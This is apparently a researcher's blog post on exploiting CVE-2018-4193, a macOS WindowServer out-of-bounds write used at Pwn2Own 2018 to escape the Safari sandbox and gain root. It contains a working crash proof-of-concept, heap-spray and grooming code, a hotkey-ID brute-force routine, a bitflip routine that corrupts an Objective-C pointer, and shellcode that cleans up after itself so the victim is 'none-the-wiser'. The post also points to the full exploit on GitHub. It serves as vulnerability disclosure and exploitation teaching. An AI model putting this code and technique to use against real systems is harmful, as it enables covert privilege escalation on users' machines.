Exploiting the macOS WindowServer for root
Four Heap Sprays, Two Dangling Pointers, One Bitflip
As the sixth and final post of our Pwn2Own 2018 series, we document the long and twisted road of weaponizing CVE-2018-4193 to exploit the macOS WindowServer. Serving as a memory-corruption based privilege escalation to root, this was used as a zero-day to escape the Safari sandbox on macOS 10.13.3.
First, we will describe the constraints of our discovered vulnerability. We then cover the tools and techniques used to discover interesting corruption targets compatible with our vulnerability, followed by a detailed walkthrough of the exploit as developed for Pwn2Own 2018. Finally, we publish the source to our complete exploit at the end of the post, offering a challenge and reward for the community to build a better exploit.
Proof-of-Concept
In the previous post, our in-process WindowServer fuzzer discovered a bug that we speculated could lead to an exploitable Out-of-Bounds (OOB) Write. The root cause of this vulnerability was attributed to a classic signed/unsigned comparison issue in the function _CGXRegisterForKey()
, a mach message handler in the macOS WindowServer.
To better study any crash (or otherwise abnormal program behavior), the first step should always be to build a reliable and minimized Proof-of-Concept (PoC). The code provided below constitutes a minimal, standalone, PoC we built to demonstrate the discovered vulnerability:
// CVE-2018-4193 Proof-of-Concept by RET2 Systems, Inc.
// compiled with: clang -framework Foundation -framework Cocoa poc.m -o poc
#import <dlfcn.h>
#import <Cocoa/Cocoa.h>
int (*CGSNewConnection)(int, int *);
int (*SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
void resolve_symbols()
{
void *handle_CoreGraphics = dlopen(
"/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics",
RTLD_GLOBAL | RTLD_NOW
);
void *handle_SkyLight = dlopen(
"/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
RTLD_GLOBAL | RTLD_NOW
);
CGSNewConnection = dlsym(handle_CoreGraphics, "CGSNewConnection");
SLPSRegisterForKeyOnConnection = dlsym(handle_SkyLight, "SLPSRegisterForKeyOnConnection");
dlclose(handle_CoreGraphics);
dlclose(handle_SkyLight);
}
int main()
{
int cid = 0;
uint32_t result = 0;
printf("[+] Resolving symbols...\n");
resolve_symbols();
printf("[+] Registering with WindowServer...\n");
NSApplicationLoad();
result = CGSNewConnection(0, &cid);
if(result == 1000)
{
printf("[-] WindowServer not yet initialized... \n");
return 1;
}
ProcessSerialNumber psn;
psn.highLongOfPSN = 1;
psn.lowLongOfPSN = getpid();
printf("[+] Triggering the bug...\n");
uint32_t BUG = 0x80000000 | 0x41414141;
result = SLPSRegisterForKeyOnConnection(cid, &psn, BUG, 1);
return 0;
}
Besides minor bootstrapping necessary to communicate with the WindowServer, the PoC is as simple as calling SLPSRegisterForKeyOnConnection()
, a function exported by the SkyLight private framework, with a maliciously crafted parameter we have named BUG
.
When SLPSRegisterForKeyOnConnection()
is called from any user process, a mach_msg
is sent over the mach IPC to the WindowServer where the message is acted upon by the buggy handler _XRegisterForKey()
. This is an API that we can call freely from the sandboxed (but compromised) instance of Safari:
Compiling and running the PoC as an unprivileged user will instantly crash the WindowServer which is running outside of the Safari Sandbox as a root-level system service:
markus-mac-vm:poc user$ clang -framework Foundation -framework Cocoa poc.m -o poc
markus-mac-vm:poc user$ ./poc
[+] Registering with WindowServer...
[+] Resolving symbols...
[+] Triggering the bug...
The crash produced by our new PoC mirrors what we saw while replaying bitflips in the previous post. A crashing Out-of-Bounds Read that could lead to a write under the right conditions.
Process 77180 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8)
frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214
SkyLight`_CGXRegisterForKey:
-> 0x7fff55c6f677 <+214>: mov rax, qword ptr [rcx + 8*r13 + 0x8]
0x7fff55c6f67c <+219>: test rax, rax
0x7fff55c6f67f <+222>: je 0x7fff55c6f6e9 ; <+328>
0x7fff55c6f681 <+224>: xor ecx, ecx
Target 0: (WindowServer) stopped.
In the next section we will discuss some of the caveats that make this WindowServer vulnerability difficult to exploit.
Vulnerability Constraints
At first glance, this vulnerability appeared to be quite nice for an exploit. It is a relatively shallow bug (easy to trigger) and provides a rough write capability through an Out-of-Bounds index that we have full control over. But we can only specify a malicious index, and don’t really control the data that will be written:
Taking a closer look at the codepath to perform the write, we found that it was constrained by the following properties:
- The write will be coarse, as it 24 byte aligned (eg, index*24)
- There are two pre-conditions (constraints) that must be met to trigger the write codepath
- We have little control over the values that will get written
The first property (24 byte alignment) can be explained by the fact that the attacker controlled index is normally used to index into an array of six (unknown) structures which have a size of 24 bytes. This isn’t much of an issue.
The second property proved to be the biggest headache, requiring the memory around our Out-of-Bounds index to meet certain constraints to perform the write. These constraints are detailed by the pseudocode diagram below:
The third property of this vulnerability was that we don’t have much control over the values being written to our target. Specifically, this codepath is normally used to store a heap pointer into an unknown structure. The code also stores a DWORD directly after the pointer field, which happens to be our ConnectionID (CID) to the WindowServer.
Due to the nature of these constraints, discovering interesting and compatible corruption targets (objects, allocations) for this bug would prove to be non-trivial.
Corruption Methodology
Our first approach was to survey the WindowServer and its sandbox-accessible interface for interesting objects that we could allocate and massage to satisfy the constraints required to trigger our write against. We identified a few candidate structures, but they mostly failed to provide interesting adjacent fields to corrupt.
This effort was misguided as it focused too heavily on fulfilling the necessary constraints, paying little attention to what would actually get corrupted. Relatively quickly, we abandoned this strategy in favor of the second approach.
The second strategy was built on the assumption that using some WindowServer heap Feng Shui, we would be able to place any interesting allocation directly after an attacker controlled allocation ending with the constraints necessary to satisfy our write codepath. When aligned, the adjacent allocations would look something like this:
Assuming we could locate this threshold in memory, we would be able to target this pattern with our Out-of-Bounds Write. A successful triggering of the bug at this location would overwrite the first four (or twelve) bytes of presumably any victitm allocation (an ‘interesting’ object) in the WindowServer:
At this point, we also learned that the macOS usermode heap implementation is based on the Hoard allocator. In Hoard-style heaps, there is no heap metadata between allocations. Since the WindowServer objects will be flush with each other on the heap, our cross-chunk corruption becomes far more interesting.
DBI Guided Exploitation
To accelerate the search for interesting cross-chunk corruption targets, we again turned towards using dynamic binary instrumentation (DBI) solutions. Repurposing parts of the in-process fuzzer we discussed last post, we wrote a new instrumentation script to simulate cross-chunk corruption against random heap allocations.
The first step was to track WindowServer heap allocations using Frida. We based our malloc
/realloc
hooking code on an existing gist, modifying it to record the address, size, and callstack of every allocation:
Interceptor.attach(Module.findExportByName(null, 'malloc'),
{
onEnter: function (args) {
while (lock == "free" || lock == "realloc") { Thread.sleep(0.0001); }
lock = "malloc";
this.m_size = args[0].toInt32();
},
onLeave: function (retval) {
console.log("malloc(" + this.m_size + ") -> " + hexaddr(retval));
allocations[retval] = this.m_size;
var callstack = "\n" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\n") + "\n";
callstacks[retval] = callstack;
lock = null;
}
});
Likewise, we hooked free
to drop references to allocations we were tracking as they were released:
Interceptor.attach(Module.findExportByName('libSystem.B.dylib', 'free'),
{
onEnter: function (args) {
while (lock == "malloc" || lock == "realloc"){ Thread.sleep(0.0001); }
lock = "free";
this.m_ptr = args[0];
},
onLeave: function (retval) {
console.log("free(" + hexaddr(this.m_ptr) + ")");
delete allocations[this.m_ptr];
lock = null;
}
});
With basic heap tracking in place, the last step was to simulate the cross-chunk corruption.
At random intervals (every ~10 seconds) our instrumentation script would stop to survey all living allocations (that it was aware of) and randomly corrupt the first DWORD of a small selection of said allocations:
function CorruptRandomAllocations() {
for(var address in allocations) {
var target = ptr(address)
// blacklist certain allocations from being corrupted (unusable crashes)
if(callstacks[target] == undefined) { continue; }
if(callstacks[target].includes("dlopen")) { continue; }
if(callstacks[target].includes("Metal")) { continue; }
// ... more
// only corrupt some allocations
if(Math.floor(Math.random() * 25) != 1) { continue; }
// save the allocation contents before corruption for crash logging
corrupted_contents[target] = hexdump(target, {
offset: 0,
length: allocations[address],
header: true,
ansi: false
});
corrupted_callstacks[target] = callstacks[target]
console.log("Corrupting " + hexaddr(address))
Memory.writeU32(target, 0x4141414F);
}
}
By corrupting the first DWORD of random allocations, we expected the WindowServer to crash in new and interesting ways. The existing fuzzing harness would log these crashes, along with the callstacks + contents of the allocations we corrupted during each run.
Ideally, we hoped to find an object or allocation that started with a pointer which we could partially corrupt and point back into data that we control. By forcing a dangling pointer on some object, we were hopeful it would lead to new and less constrained primitives.
Tagged Pointers
It is well known that an attacker who has complete control over the contents of a dangling Objective-C object can achieve code execution through an Objective-C method call. This has been documented in Phrack, and exploited by KEEN (among others) in the past.
But in a bizarre and unfortunate coincidence, we discovered during our simulated corruption fuzzing that our partial overwrite value (a WindowServer ConnectionID) always had its bottom two bits set:
The origin of the ConnectionID’s bottom two bits appear to be an artifact of a masking operation in the XNU mach port creation code. We couldn’t discern any defined functionality involving the bottom two bits of a mach port being set, and think it may actually be a bug, albeit harmless.
The problem is that within Objective-C / CoreFoundation internals, the bottom bit of a ‘pointer’ indicates whether it should be handled as a real memory pointer that can be dereferenced, or a ‘tagged pointer’ which stores object data inline. Partially corrupting any Objective-C pointer with our cross-chunk primitive always turned it into a tagged pointer:
Setting the bottommost bit fundamentally changes how the ‘pointer’ (now an inline object) is operated upon by the Objective-C runtime. This alone rendered the dangling objc_msgSend()
technique of achieving easy code-execution inaccessible to us via simple cross-chunk corruption.
It is at this point that we began to recognize how precarious this vulnerability would be to exploit. With no way to otherwise misalign our write, we were forced to target non-CoreFoundation pointers with our corruption instead.
HotKey Objects
Returning to the bucketed crashes produced by our simulated corruption ‘fuzzing’, we discovered WindowServer HotKey objects as a candidate allocation to target with our cross-chunk corruption.
On macOS, the WindowServer appears to manage hotkeys registered by running applications. Internally, the WindowServer HotKey objects are maintained as a linked list. The first field of a HotKey structure happens to be a pointer to the previously created hotkey (eg, hotkey->next
).
(lldb) x/30gx 0x7fd186200ba0
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134 \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000 +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730 /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /
By grooming a HotKey allocation directly after an attacker controlled allocation, we would be able to corrupt the lower four bytes of its hotkey->next
pointer with our ConnectionID. Through the use of heap spraying, the partially corrupted pointer may now point into attacker controlled data:
Most importantly, SkyLight exposes a number of APIs to add, remove, view, or manipulate various fields of HotKey objects. Through these APIs, we could already see ways that we would be able to ‘leak’ data through the dangling HotKey, or flip bits to cause further damage to the WindowServer heap in a less constrained manner:
After some whiteboarding, we established what we thought would be a viable (but convoluted) path towards achieving code execution in time for Pwn2Own. The exploit would require multiple heap sprays, risky cross-chunk heap corruption, and an extremely precise bitflip. We’d be walking on tightropes, but fortune favors the bold.
Plan of Action
Our final sandbox escape exploit can be broken down into five distinct phases:
- Leak an address near the base of the WindowServer
MALLOC_TINY
heap (using our vuln) - Create a dangling HotKey through careful grooming & targeted cross-chunk corruption (using our vuln)
- Corrupt a
CFStringRef
pointer using the dangling HotKey object - Employ the
objc_msgSend()
technique to hijack control flow, and achieve arbitrary code execution - Cleanup, and continuation of execution
The remainder of this post will detail the phases we have outlined above.
Leaking the Heap Layout
The first major phase of our sandbox escape was solely responsible for leaking information about the layout of the WindowServer heap. While this was not strictly necessary, using a leaked heap pointer provided some situational awareness to improve the speed and reliability of our exploit.
This phase starts by spraying approximately 500,000 CFString
objects into the MALLOC_TINY
heap of the WindowServer using CGSSetConnectionProperty()
:
for(int i = start; i < end; i++)
{
CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, spray_id, i);
CGSSetConnectionProperty(g_cid, g_cid, key_name, corruptor_cfs);
CFRelease(key_name);
if(i % 1000000 == 0 && i) { printf("[*] - Completed %u\n", i); }
}
The sprayed strings are filled almost exclusively with NULL bytes, with the exception of one [ 0x400 ]
DWORD in the middle of each sprayed string. Fulfilling the [ 0x400 ] [ 0x0000000000000000 ]
constraint, this effectively creates a little ‘hook’ that our Out-of-Bounds Write can catch on without causing any unintended damage.
(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x0000000000000000 0x0000000000000000
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000
Starting from the arbitrarily chosen (but buggy) index of 0xFFEDFFC0
, our exploit will attempt to trigger the bug multiple times through SLPSRegisterForKeyOnConnection()
while incrementing the buggy index up. We do this until we catch onto one of these ‘hooks’ and the write succeeds, effectively ‘corrupting’ a string we sprayed:
current_index = starting_index + i;
result = SLPSRegisterForKeyOnConnection(g_cid, &psn, current_index, 1);
printf("[*] Attempted buggy write @ 0x%08X: %u\n", current_index, result);
// a non-zero return code means the write did not occur
if(result)
continue;
Dumping the corrupted allocation with lldb, we confirmed that a successful triggering of the vulnerability would write the ‘unknown heap pointer’ + ConnectionID into one of our sprayed connection properties.
(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x00007ff0b9438e20 0x0000000000007313 <-- [unknown_ptr (8 bytes)] [CID (4 bytes)]
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000
Using the CGSCopyConnectionProperty()
API from CoreGraphics, we were able to request each of the sprayed connection property strings back from the WindowServer. By searching the contents of each string, our exploit will eventually discover the corrupted property containing the leaked pointer:
for(int i = start; i < end && found < length; i++)
{
// request a connection property back from the windowserver
CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, LEAK_SPRAY_ID, i);
CGSCopyConnectionProperty(g_cid, g_cid, key_name, &valuePtr);
CFRelease(key_name);
// convert the received string to raw bytes
CFStringGetBytes(valuePtr, range, kCFStringEncodingISOLatin1, 0, true, (UInt8*)key_value, CORRUPTOR_SIZE, &got);
CFRelease(valuePtr);
// check for the presence of a leak
leak = ((uint64_t*)&key_value[CORRUPTOR_SIZE-6-24]);
if(*leak != 0)
{
*leaked = *leak;
keys[found++] = (uint32_t)i;
}
}
While we didn’t have time to research the true purpose of this pointer, we noted that it gave us a rough idea as to where the end of the MALLOC_TINY
heap was in a fresh WindowServer instance. We also noticed that the MALLOC_TINY
heap rather deterministically ‘expands backwards’ in chunks of ~256mb.
This assumption allowed us to predict where our exploit’s allocations were going relative to the leaked pointer, allowing us to compute the approximate tip of our sprayed data:
With some knowledge of the heap layout and its deterministic growth, we could move on to performing some more nefarious memory corruption with our vulnerability.
HotKey Feng Shui
The goal for phase two of the exploit was to partially corrupt a WindowServer HotKey pointer such that we could point it somewhere within heap data that we could arbitrarily control. This would require a sequence of carefully choreographed heap manipulations, followed by a risky stab at cross-chunk corruption to create a dangling HotKey pointer.
This phase begins by using the heap pointer (leaked in phase one) to compute an ideal spray size (~1-4gb) for phase two. The spray size is computed to cover the address we expect the dangling HotKey pointer to land within. This was based on the assumption that we would allocate corruptable HotKey objects half way through this spray.
Just like phase one, phase two sprays mostly NULL connection property strings. Halfway through this spray, our exploit will stop to inspect the heap in an attempt to identify property strings that are allocated directly adjacent to each other. It was critical to locate adjacent value
allocations (eg, no key
string between them), because this is the boundary which we will perform our cross-chunk corruption over.
Having identified a few adjacent allocation pairs, we free the later of each pair using CGSSetConnectionProperty()
, but with a NULL value
parameter. This would effectively free the specified connection property value
allocation in the WindowServer, ‘punching holes’ into the heap:
void punch_hotkey_holes(unsigned int * hotkey_keys, size_t length)
{
for(int i = 0; i < length; i++)
{
// we want to punch a hole AFTER the string we probed (hence +1)
int hole_index = hotkey_keys[i] + 1;
CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, HOTKEY_SPRAY_ID, hole_index);
CGSSetConnectionProperty(g_cid, g_cid, key_name, NULL);
CFRelease(key_name);
}
}
After freeing a few carefully chosen NULL string chunks, our exploit would immediately begin creating HotKey objects, hoping to fill in one or more of the holes we punched:
void create_hotkeys()
{
for(int i = 1; i < 0x4000; i++)
CGSSetHotKey(g_cid, i, 0x4242, 0x4343, 0xBE0000);
}
If performed correctly, the heap should now have a HotKey object placed directly after our chosen connection property allocation. The annotated lldb dump below shows the threshold between these two allocations, which are now ready for our cross-chunk corruption.
(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b50: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b60: 0x0000000000000000 0x0000000000000000
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x0000000000000000 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134 \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000 +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730 /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /
Before performing the cross-chunk corruption to create a dangling HotKey pointer, our exploit will complete the second half of the phase two NULL string spray. This ensures that the address that we predict the dangling pointer will point at (once corrupted) is a valid heap address.
Once both phase two sprays are complete, we use our vulnerability with a carefully computed index to target the ‘cross-chunk corruption hook’ in the lldb dump provided above. The buggy write crosses the end of our allocation, corrupting the first DWORD of the HotKey object with our ConnectionID.
(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b40: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b50: 0x0000000000000000 0x0000000000000000
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x00007fd1f981b7d0 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd100005413 0x00007fd1f7d1f590 \<-- corrupted 0x00007fd1[00005413]
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134 \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000 + HotKey Object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730 /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /
This cross-chunk corruption has changed hotkey->next
from 0x7fd15cfa8730
to 0x7fd100005413
. Through the use of a partial overwrite, we have forced the creation of a dangling HotKey pointer.
Though long and arduous, we are almost done with phase two. The WindowServer heap now looks something like this:
The last step is to locate precisely which sprayed NULL string allocation our dangling HotKey has overlapped with.
Using the API CGSSetHotKeyEnabled()
, we attempt to enable the dangling HotKey (which has an ID of 0). This API would flip a single bit in the dangling HotKey allocation, ‘corrupting’ one of our sprayed NULL strings.
(lldb) x/10gx 0x00007fd100005413
0x7fd100005413: 0x0000000000000000 0x0000000000000000
0x7fd100005423: 0x0000000000000000 0x0000000000000000
0x7fd100005433: 0x0000000000000001 0x0000000000000000 <-- hotkey->enabled
0x7fd100005443: 0x0000000000000000 0x0000000000000000
0x7fd100005453: 0x0000000000000000 0x0000000000000000
Finally, we make use of CGSCopyConnectionProperty()
again to retrieve individual sprayed property strings from the WindowServer. Eventually, the exploit would locate the string containing a single flipped bit. We have now identified which sprayed allocation the dangling HotKey overlaps.
Array Feng Shui
The third phase is equally as tedious as the previous. With a dangling HotKey in hand, our objective was to allocate something ‘interesting’ underneath it. If done properly, we could at least corrupt a single bit or leak some information out from under the dangling HotKey. This proved non-trivial for a number of reasons:
- The dangling HotKey will always be aligned to an odd memory address (eg,
0xXXXXXXXXXX13
) - The
next
field (a pointer) in our dangling HotKey must be NULL (or an otherwise valid pointer) CGSSetHotKeyEnabled()
flips the 24th bit (0x1000000
) when viewed from 8 byte alignment
For the sake of brevity, we found that a well crafted, carefully allocated, and precisely aligned CFMutableArray
filled with ‘interesting’ CFStringRef
pointers could both satisfy the constraints of the overlaid HotKey while teasing out a path towards hijacking code execution.
If overlaid properly, this is how each respective allocation would appear in memory:
(lldb) x/30gx 0x7fd1000053f0
0x7fd1000053f0: 0x001dffff91812a79 0x0000000100001384 \
0x7fd100005300: 0x0000000000000018 0x0000000000000000 \
0x7fd100005410: 0x0000000000000000 0x0000000000000000 \
0x7fd100005420: 0x00000001bd7bb000 0x0000000000434335 |
0x7fd100005430: 0x00000001bd7bb000 0x0000000000434335 |
0x7fd100005440: 0x00000001bd7bb000 0x0000000000434335 |
0x7fd100005450: 0x0000000000434335 0x00000001bd7bb000 |
0x7fd100005460: 0x00000001bd7bb000 0x0000000000434335 +- CFMutableArray
0x7fd100005470: 0x0000000000434335 0x0000000000434335 |
0x7fd100005480: 0x0000000000434335 0x0000000000434335 |
0x7fd100005490: 0x0000000000434335 0x0000000000434335 |
0x7fd1000054a0: 0x0000000000434335 0x0000000000434335 |
0x7fd1000054b0: 0x0000000000434335 0x0000000000434335 /
0x7fd1000054c0: 0x0000000000434335 0x0000000000434335 /
0x7fd1000054d0: 0x0000000000434335 0x0000000000434335 /
(lldb) x/10gx 0x7fd100005413
0x7fd100005413: 0x0000000000000000 0x7bb0000000000000 \
0x7fd100005423: 0x43433500000001bd 0x7bb0000000000000 \
0x7fd100005433: 0x43433500000001bd 0x7bb0000000000000 +- dangling hotkey
0x7fd100005443: 0x43433500000001bd 0x4343350000000000 /
0x7fd100005453: 0x7bb0000000000000 0x7bb00000000001bd /
Noting that these separate memory dumps depict the same range of addresses, we have provided an additional visual representation to help explain their unique alignment when overlaid:
We have effectively overlaid the hotkey->next
field of our dangling HotKey with two NULL fields in the CFMutableArray
header. We have also crafted the array such that a CFStringRef
entry is underneath the single bit we can toggle on or off via CGSSetHotKeyEnabled()
.
This precise alignment will allow us to corrupt a CFStringRef
member pointer within the CFMutableArray
.
CFStringRef Corruption
Before corrupting the overlaid CFStringRef
pointer, we first had to identify the ‘new’ ID for our dangling HotKey. We need a HotKey ID to make use of the CoreGraphics/SkyLight APIs, and the dangling HotKey ID has changed away from ID 0 because hotkey->id
was overlaid with part of the array contents.
The solution was to bruteforce the hotkey->id
field (~12bit bf) which overlaps with the bottom 3 bytes of a CFStringRef
pointer within the array structure. We used the CGSGetHotKey()
API to bruteforce the dangling HotKey ID until it until it returns a successful result code:
for(uint64_t i = 0; i < 0x1000; i++)
{
bf_hotkey_id = i << 52;
result = CGSGetHotKey(g_cid, bf_hotkey_id, &leak1, &leak2, &leak3);
if(result == 0)
{
printf("[+] Found overlaid hotkey id 0x%llx\n", bf_hotkey_id);
*hotkey_id = bf_hotkey_id;
break;
}
}
Conveniently this API also returns some of the HotKey fields as various integers. This ‘leaks’ some data from underneath the dangling HotKey. By stitching together leak1
and leak3
, we could actually reconstruct a CFStringRef
pointer (allocated in the MALLOC_LARGE
heap) from the the overlaid CFMutableArray
:
//
// we only use this leak to determine whether we should flip
// the bit in an string pointer one way or another.
//
*big_heap_leak = (((uint64_t)leak1 << 24) | leak3 >> 8);
In this example, we have found that reconstructed pointer is 0x1BD7BB000
. Since the 24th bit is already set, we must disable the dangling HotKey to corrupt the pointer. This corruption changes the CFStringRef
pointer from 0x1BD7BB000
to 0x1BC7BB000
.
bool corrupt_cf_ptr(uint64_t hotkey_id, uint64_t big_heap_leak)
{
//
// flip a single bit (0x00000001000000) in a CFStringRef pointer
// laid beneath our 'dangling' hotkey
//
bool flip = (big_heap_leak & 0x1000000) == 0x1000000;
printf("[*] Corrupting %p --> %p\n", (void*)big_heap_leak, (void*)(big_heap_leak ^ 0x1000000));
return CGSSetHotKeyEnabled(g_cid, hotkey_id, flip) == 0;
}
We have finally corrupted an Objective-C pointer.
Code Execution
In the process of grooming a CFMutableArray
under our dangling HotKey (phase three), we were simultaneously spraying huge string objects into WindowServer’s MALLOC_LARGE
heap. These large strings (pointed to by the CFStringRef
members) contained our final ROP chain and fake Objective-C ISA’s.
By flipping a single high bit in a CFStringRef
pointer during phase three, the corrupted pointer has been misaligned to point at fake Objective-C string structures that we sprayed:
From here, we simply freed the corrupted CFStringRef
by freeing its parent CFMutableArray
. Our exploit will hijack control flow using the objc_msgSend()
technique outlined in Phrack.
We achieved arbitrary ROP through a bespoke COP gadget, followed by some relatively normal ROP & JOP. The ROP chain proceeds to map a page of RWX shellcode before jumping to it, leading to arbitrary code execution in the WindowServer system service, thus escaping the Safari sandbox.
Continuation of Execution
Often omitted from these types of writeups, the final phase of our Pwn2Own exploit ensured the continuation of execution of the exploited service. Since WindowServer is a core system service responsible for drawing the user desktop, it is imperative that the exploit does not crash the service after providing a root shell.
We use our shellcode to carefully clean up some of the damage caused to the WindowServer process over the course of our exploit. Our effort in this phase was minimal, simply neutering the pointer to our connection’s property dictionary and HotKey chain in an effort to minimize the effects of any collateral damage we caused to their other allocations.
; compiled with: nasm shellcode.asm
BITS 64
_start:
add rsp, 0x10000
mov r15, rax
mov [r15+0x3F00], r15 ; save the address of our shellcode
repair_objc:
mov rbx, [r15+0x3F28]
sub rbx, 0x75
sub byte [rbx], 0x70
repair_ws:
mov rdi, [r15+0x3F08] ; ConnectionID
call [r15+0x3F10] ; call CGXConnectionForConnectionID
xor r14, r14
mov [rax+144], r14 ; nuke HotKey pointer
mov [rax+160], r14 ; nuke Property Dictionary
resume_ws:
lea rbx, [r15+0x3F18] ; ptr to _get_default_connection_tls_key_key
mov rbx, [rbx]
xorps xmm1, xmm1
jmp [r15+0x3F20] ; jmp SLXServer
; Pseudo DATA section at 0x3F00
; 0x3F00: [shellcode pointer]
; 0x3F08: [ConnectionID]
; 0x3F10: [CGXConnectionForConnectionID]
; 0x3F18: [_get_default_connection_tls_key_key]
; 0x3F20: [SLXServer Loop]
; 0x3F28: [SEL_release]
Having removed the root references to our malformed allocations, the shellcode attempts to return the hijacked control flow back to the main mach message processing loop at the bottom of WindowServer’s SLXServer()
routine:
This proved enough to reliably restore WindowServer to a stable state, achieving continuation of execution and leaving the victim to be none-the-wiser of the exploit that just landed on their system.
Exploit Stats
The vulnerability used in this exploit (CVE-2018-4193) was discovered on February 16, 2018. Like the JavaScriptCore exploit, this vulnerability also took approximately 100 man-hours to study, weaponize, and stabilize from discovery.
In our testing leading up to Pwn2Own 2018, we measured the success rate of our full-chain at approximately 85% across 1000+ runs on a 13 inch, i5, 2017 MacBook Pro, automatically rebooted between each attempt.
Our sandbox escape was less than ideal. The bulk of our exploit failures could be attributed to issues grooming the WindowServer heap. On average, the full-chain (Safari+Sandbox) took upwards of 90+ seconds to run, most of which is spent massaging the WindowServer heap. The sandbox escape was lovingly named Eternal Groom.
Further Research
With a deeper understanding of WindowServer internals and the macOS heap, we are reasonably confident this vulnerability can be exploited with higher reliability and significantly lower exploit complexity. While functional, the approach we detailed in this post was naïve at best.
To satisfy a lasting itch of curiosity, we eagerly want to see somebody do better and will award a single Binary Ninja Commercial License (MSRP $599) to the first researcher who publishes an exploit that meets the following criteria:
- Exploits the WindowServer on macOS 10.13.3 using only CVE-2018-4193
- Achieves WindowServer code execution in less than 10 seconds
- Doesn’t crash the WindowServer
- Succeeds with a 90% or greater reliability
To provide better educational resources for the community, we require that you release a blogpost of the revised exploit & publish your code to claim the prize. The terms of this challenge will expire on January 1st, 2019 or upon the first successful redemption. Please contact us prior to publication if you have any concerns.
We have published our own Pwn2Own 2018 exploit code on GitHub to promote further research.
EDIT: This contest was succesfully completed by @elvanderb and documented in his talk at OffensiveCon ‘19!
Conclusion
Over the course of this blog series, we referenced the countless public resources we studied, and numerous open source technologies that we employed to evaluate and zero-day a premiere software target. Our exploit was built on the grit and persistence of making impossible ends meet.
There is no secret to hard-work.